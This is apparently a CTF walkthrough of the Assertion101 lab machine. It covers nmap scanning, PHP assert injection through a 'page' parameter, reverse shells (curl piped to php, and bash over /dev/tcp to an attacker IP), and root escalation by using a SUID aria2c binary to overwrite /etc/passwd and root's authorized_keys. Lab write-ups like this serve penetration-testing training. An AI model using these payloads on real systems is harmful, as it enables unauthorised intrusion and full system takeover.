Assertion101 OffSec Walkthrough: Today we are going to solve another boot2root challenge called “Assertion101”. It’s available at Vulnhub and OffSec Play for penetration testing. This lab is an intermediate level. Let’s get started and learn how to break it down successfully.
Enumeration
Open services
We begin by listing what services the Assertion101 machine has open.
nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.98.94 
The machine has ports 22 and 80 open. The next step will be the in-depth listing of these services.
nmap -p22,80 -Pn -n -sVC -vvv 192.168.98.94
Open services
- Port 22 – > SSH – > OpenSSH 7.6
- Port 80 – > HTTP – > Apache httpd 2.4.29
Web enumeration
The target machine is running an HTTP service on port 80. We will see the content in the Web browser.
We see the website of a business related to physical activity.
We are going to navigate the website a bit in search of possible vulnerable points. At the top we have the navigation menu of the website. By clicking on one of them, we see the following request that may be interesting.
Exploitation
This “page” parameter can be vulnerable to LFI. We are going to carry out one of the most common checks to test this vulnerability.
We received the message “Not so easy brother!”, Which may indicate that if you are vulnerable to LFI but we need to mount a more complex payload to perpetrate the exploitation of vulnerability.
If you come across a complicated LFI that seems to be filtering scroll strings like “..” and responds with something like “Hacking Attempt” or “Good Try!”, A ‘assert’ injection payload could work.
Starting from the machine name and php file extensions, we can assume that the machine is about asserts in PHP. Searching a bit online, we find the following possible payloads.
' and die(show_source('/etc/passwd')) or '
' and die(system("whoami")) or '
These payloads seem to work and we are starting to get results.
System access (Shell php loading method)
Time to get a reverse shell. We can obtain a shell from our machine by copying the shell from /usr/share/webshells/php/reverse-shell.php and editing it with the IP and the port of our local machine.
We start by configuring our IP and listening port in the shell.
Now we are going to load it. To do this, we must build an http server with Python. On the other hand, we configure an nc listener on port 1234.
http://IP_máquina/index.php?page=' and die(system("curl http://LOCAL_IP:LOCAL_PORT/shell.php | php")) or '
And we would already have access to the system as user “www-data”
System access (with Bash shell)
Another way to gain access to the system is by running a bash shell taking advantage of the present vulnerability. How? As follows:
We remember that to detect the vulnerability of LFI, we have used the following payload ' and die(show_source('/etc/passwd')). Now we are going to modify it to integrate the bash shell. The payload would be as follows.
'+and+die(system("bash+-c+'bash+-i+>&+/dev/tcp/LOCAL_IP/LOCAL_PORT+0>&1'"))+or+'Let’s see if the payload we have created works.
And we will have access to the system again.
The next step will be to search for the local flag.txt
find / -name local.txt 2>/dev/null
Elevation of privileges
We start by listing if the user “www-data” can execute some command with privileges but we need the password for the user “www-data”, so this is not a scaling vector.
The next point to list is that of binaries with SUID permissions.
There is one that is especially striking, aria2c.
find / -type f -perm -4000 2>/dev/null
Let’s see if we can find interesting information in GTFOBins. But it does not provide information that allows us to advance, although it does seem the vector for raising privileges. GTFOBins tells us that this binary is used to overwrite files on the system and has SUID permissions, so we can try to do several things.
# 1st Method (add user to /etc/passwd file)
Since this binary allows us to overwrite files on the system, why not add a user to the / etc / passwd file? We will do it as follows:
After reading the aria2c man page, it appears that we can overwrite a file using the “-d” and “-o” options. To test this, we generate a password for the root user using the command “openssl passwd -1 -salt root pass123” and then download the file “/ etc / passwd” in order to add the newly created password.
openssl passwd -1 -salt root securiters
Now we update the “passwd” file with this new password for the “root” user.
Now, taking advantage of the binary with SUID permissions, “aria2c”, we are going to reload this updated file on the victim machine.
aria2c -d /etc -o passwd "http://192.168.49.98:8000/passwd" --allow-overwrite=true
We check if it has been loaded correctly and test.
And we would already have access to the system as a “root” user.
# 2nd Method (loading an authorized_keys file)
We know that aria2c can be used to replace the information in some important files. This time, we are going to use it to overwrite the root user’s authorized_keys file.
To get our public key on the remote machine, you need to start a web server in the .ssh folder of our local machine. If we haven’t created an SSH key pair yet, we can do it using the ssh-keygen command.
ssh-keygen
In the directory where the authorized_keys file is, we raise an http server with Python.
python -m http.server 1337
Now on the target machine we run
/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.49.98:1337/authorized_keys" --allow-overwrite=true
It was time to check if this method has worked.
It will only remain to look for the flag proof.txt to finish the machine.
WELL DONE!! HOPE YOU LEARNT SOMETHING NEW AND SEE YOU SOON WITH ANOTHER BLOG
THANK YOU
Also Read | Glasgow Smile OffSec Walkthrough
